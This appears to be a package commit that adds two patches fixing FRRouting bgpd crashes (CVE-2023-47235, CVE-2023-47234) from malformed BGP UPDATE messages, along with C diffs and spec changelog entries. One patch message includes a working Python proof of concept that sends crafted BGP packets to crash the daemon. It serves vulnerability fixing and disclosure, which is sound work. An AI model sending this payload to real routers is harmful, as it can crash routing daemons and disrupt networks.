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Resolves: RHEL-15915 - crash from specially crafted MP_UNREACH_NLRI-containing BGP UPDATE message

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Resolves: RHEL-15918 - crash from malformed EOR-containing BGP UPDATE message
This commit is contained in:
Michal Ruprich 2023-12-18 15:27:19 +01:00
parent 27088b69bc
commit fe81dd595b
3 changed files with 212 additions and 1 deletions
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110
0005-CVE-2023-47235.patch Normal file
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@ -0,0 +1,110 @@
From 71422bfe269e34b69d78f9fb02f30426f2fdef48 Mon Sep 17 00:00:00 2001
From: rpm-build <rpm-build>
Date: Wed, 13 Dec 2023 16:59:46 +0100
Subject: [PATCH] bgpd: Treat EOR as withdrawn to avoid unwanted handling of
malformed attrs
Treat-as-withdraw, otherwise if we just ignore it, we will pass it to be
processed as a normal UPDATE without mandatory attributes, that could lead
to harmful behavior. In this case, a crash for route-maps with the configuration
such as:
```
router bgp 65001
no bgp ebgp-requires-policy
neighbor 127.0.0.1 remote-as external
neighbor 127.0.0.1 passive
neighbor 127.0.0.1 ebgp-multihop
neighbor 127.0.0.1 disable-connected-check
neighbor 127.0.0.1 update-source 127.0.0.2
neighbor 127.0.0.1 timers 3 90
neighbor 127.0.0.1 timers connect 1
!
address-family ipv4 unicast
neighbor 127.0.0.1 addpath-tx-all-paths
neighbor 127.0.0.1 default-originate
neighbor 127.0.0.1 route-map RM_IN in
exit-address-family
exit
!
route-map RM_IN permit 10
set as-path prepend 200
exit
```
Send a malformed optional transitive attribute:
```
import socket
import time
OPEN = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
b"\xff\xff\x00\x62\x01\x04\xfd\xea\x00\x5a\x0a\x00\x00\x01\x45\x02"
b"\x06\x01\x04\x00\x01\x00\x01\x02\x02\x02\x00\x02\x02\x46\x00\x02"
b"\x06\x41\x04\x00\x00\xfd\xea\x02\x02\x06\x00\x02\x06\x45\x04\x00"
b"\x01\x01\x03\x02\x0e\x49\x0c\x0a\x64\x6f\x6e\x61\x74\x61\x73\x2d"
b"\x70\x63\x00\x02\x04\x40\x02\x00\x78\x02\x09\x47\x07\x00\x01\x01"
b"\x80\x00\x00\x00")
KEEPALIVE = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
b"\xff\xff\xff\xff\xff\xff\x00\x13\x04")
UPDATE = bytearray.fromhex("ffffffffffffffffffffffffffffffff002b0200000003c0ff00010100eb00ac100b0b001ad908ac100b0b")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.2', 179))
s.send(OPEN)
data = s.recv(1024)
s.send(KEEPALIVE)
data = s.recv(1024)
s.send(UPDATE)
data = s.recv(1024)
time.sleep(100)
s.close()
```
Reported-by: Iggy Frankovic <iggyfran@amazon.com>
Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
(cherry picked from commit 6814f2e0138a6ea5e1f83bdd9085d9a77999900b)
---
bgpd/bgp_attr.c | 15 ++++++++++++---
1 file changed, 12 insertions(+), 3 deletions(-)
diff --git a/bgpd/bgp_attr.c b/bgpd/bgp_attr.c
index a121911..12a6953 100644
--- a/bgpd/bgp_attr.c
+++ b/bgpd/bgp_attr.c
@@ -3079,9 +3079,12 @@ static int bgp_attr_check(struct peer *peer, struct attr *attr)
uint8_t type = 0;
/* BGP Graceful-Restart End-of-RIB for IPv4 unicast is signaled as an
- * empty UPDATE. */
+ * empty UPDATE. Treat-as-withdraw, otherwise if we just ignore it,
+ * we will pass it to be processed as a normal UPDATE without mandatory
+ * attributes, that could lead to harmful behavior.
+ */
if (CHECK_FLAG(peer->cap, PEER_CAP_RESTART_RCV) && !attr->flag)
- return BGP_ATTR_PARSE_PROCEED;
+ return BGP_ATTR_PARSE_WITHDRAW;
/* "An UPDATE message that contains the MP_UNREACH_NLRI is not required
to carry any other path attributes.", though if MP_REACH_NLRI or NLRI
@@ -3507,7 +3510,13 @@ done:
aspath_unintern(&as4_path);
transit = bgp_attr_get_transit(attr);
- if (ret != BGP_ATTR_PARSE_ERROR) {
+ /* If we received an UPDATE with mandatory attributes, then
+ * the unrecognized transitive optional attribute of that
+ * path MUST be passed. Otherwise, it's an error, and from
+ * security perspective it might be very harmful if we continue
+ * here with the unrecognized attributes.
+ */
+ if (ret == BGP_ATTR_PARSE_PROCEED) {
/* Finally intern unknown attribute. */
if (transit)
bgp_attr_set_transit(attr, transit_intern(transit));
--
2.43.0

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0006-CVE-2023-47234.patch Normal file
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@ -0,0 +1,95 @@
From 7fe95b24333cceb6cd04595694cd502fcd3666f6 Mon Sep 17 00:00:00 2001
From: rpm-build <rpm-build>
Date: Wed, 13 Dec 2023 18:25:48 +0100
Subject: [PATCH] bgpd: Ignore handling NLRIs if we received MP_UNREACH_NLRI
If we receive MP_UNREACH_NLRI, we should stop handling remaining NLRIs if
no mandatory path attributes received.
In other words, if MP_UNREACH_NLRI received, the remaining NLRIs should be handled
as a new data, but without mandatory attributes, it's a malformed packet.
In normal case, this MUST not happen at all, but to avoid crashing bgpd, we MUST
handle that.
Reported-by: Iggy Frankovic <iggyfran@amazon.com>
Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
Signed-off-by: Christian Breunig <christian@breunig.cc>
(cherry picked from commit c37119df45bbf4ef713bc10475af2ee06e12f3bf)
---
bgpd/bgp_attr.c | 19 ++++++++++---------
bgpd/bgp_attr.h | 1 +
bgpd/bgp_packet.c | 7 ++++++-
3 files changed, 17 insertions(+), 10 deletions(-)
diff --git a/bgpd/bgp_attr.c b/bgpd/bgp_attr.c
index 12a6953..8b02f2c 100644
--- a/bgpd/bgp_attr.c
+++ b/bgpd/bgp_attr.c
@@ -3086,15 +3086,6 @@ static int bgp_attr_check(struct peer *peer, struct attr *attr)
if (CHECK_FLAG(peer->cap, PEER_CAP_RESTART_RCV) && !attr->flag)
return BGP_ATTR_PARSE_WITHDRAW;
- /* "An UPDATE message that contains the MP_UNREACH_NLRI is not required
- to carry any other path attributes.", though if MP_REACH_NLRI or NLRI
- are present, it should. Check for any other attribute being present
- instead.
- */
- if ((!CHECK_FLAG(attr->flag, ATTR_FLAG_BIT(BGP_ATTR_MP_REACH_NLRI)) &&
- CHECK_FLAG(attr->flag, ATTR_FLAG_BIT(BGP_ATTR_MP_UNREACH_NLRI))))
- return BGP_ATTR_PARSE_PROCEED;
-
if (!CHECK_FLAG(attr->flag, ATTR_FLAG_BIT(BGP_ATTR_ORIGIN)))
type = BGP_ATTR_ORIGIN;
@@ -3113,6 +3104,16 @@ static int bgp_attr_check(struct peer *peer, struct attr *attr)
&& !CHECK_FLAG(attr->flag, ATTR_FLAG_BIT(BGP_ATTR_LOCAL_PREF)))
type = BGP_ATTR_LOCAL_PREF;
+ /* An UPDATE message that contains the MP_UNREACH_NLRI is not required
+ * to carry any other path attributes. Though if MP_REACH_NLRI or NLRI
+ * are present, it should. Check for any other attribute being present
+ * instead.
+ */
+ if (!CHECK_FLAG(attr->flag, ATTR_FLAG_BIT(BGP_ATTR_MP_REACH_NLRI)) &&
+ CHECK_FLAG(attr->flag, ATTR_FLAG_BIT(BGP_ATTR_MP_UNREACH_NLRI)))
+ return type ? BGP_ATTR_PARSE_MISSING_MANDATORY
+ : BGP_ATTR_PARSE_PROCEED;
+
/* If any of the well-known mandatory attributes are not present
* in an UPDATE message, then "treat-as-withdraw" MUST be used.
*/
diff --git a/bgpd/bgp_attr.h b/bgpd/bgp_attr.h
index 06f350b..b9dfec9 100644
--- a/bgpd/bgp_attr.h
+++ b/bgpd/bgp_attr.h
@@ -379,6 +379,7 @@ enum bgp_attr_parse_ret {
*/
BGP_ATTR_PARSE_ERROR_NOTIFYPLS = -3,
BGP_ATTR_PARSE_EOR = -4,
+ BGP_ATTR_PARSE_MISSING_MANDATORY = -5,
};
struct bpacket_attr_vec_arr;
diff --git a/bgpd/bgp_packet.c b/bgpd/bgp_packet.c
index a5f065a..cdf0734 100644
--- a/bgpd/bgp_packet.c
+++ b/bgpd/bgp_packet.c
@@ -1873,7 +1873,12 @@ static int bgp_update_receive(struct peer *peer, bgp_size_t size)
/* Network Layer Reachability Information. */
update_len = end - stream_pnt(s);
- if (update_len && attribute_len) {
+ /* If we received MP_UNREACH_NLRI attribute, but also NLRIs, then
+ * NLRIs should be handled as a new data. Though, if we received
+ * NLRIs without mandatory attributes, they should be ignored.
+ */
+ if (update_len && attribute_len &&
+ attr_parse_ret != BGP_ATTR_PARSE_MISSING_MANDATORY) {
/* Set NLRI portion to structure. */
nlris[NLRI_UPDATE].afi = AFI_IP;
nlris[NLRI_UPDATE].safi = SAFI_UNICAST;
--
2.43.0

8
frr.spec
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@ -7,7 +7,7 @@
Name: frr
Version: 8.5.3
Release: 1%{?checkout}%{?dist}
Release: 2%{?checkout}%{?dist}
Summary: Routing daemon
License: GPLv2+
URL: http://www.frrouting.org
@ -67,6 +67,8 @@ Patch0000: 0000-remove-babeld-and-ldpd.patch
Patch0002: 0002-enable-openssl.patch
Patch0003: 0003-disable-eigrp-crypto.patch
Patch0004: 0004-fips-mode.patch
Patch0005: 0005-CVE-2023-47235.patch
Patch0006: 0006-CVE-2023-47234.patch
%description
FRRouting is free software that manages TCP/IP based routing protocols. It takes
@ -272,6 +274,10 @@ make check PYTHON=%{__python3}
%endif
%changelog
* Mon Dec 18 2023 Michal Ruprich <mruprich@redhat.com> - 8.5.3-2
- Resolves: RHEL-15915 - crash from specially crafted MP_UNREACH_NLRI-containing BGP UPDATE message
- Resolves: RHEL-15918 - crash from malformed EOR-containing BGP UPDATE message
* Thu Nov 23 2023 Michal Ruprich <mruprich@redhat.com> - 8.5.3-1
- Resolves: RHEL-15291 - Rebase FRR to version 8.5.3 in RHEL9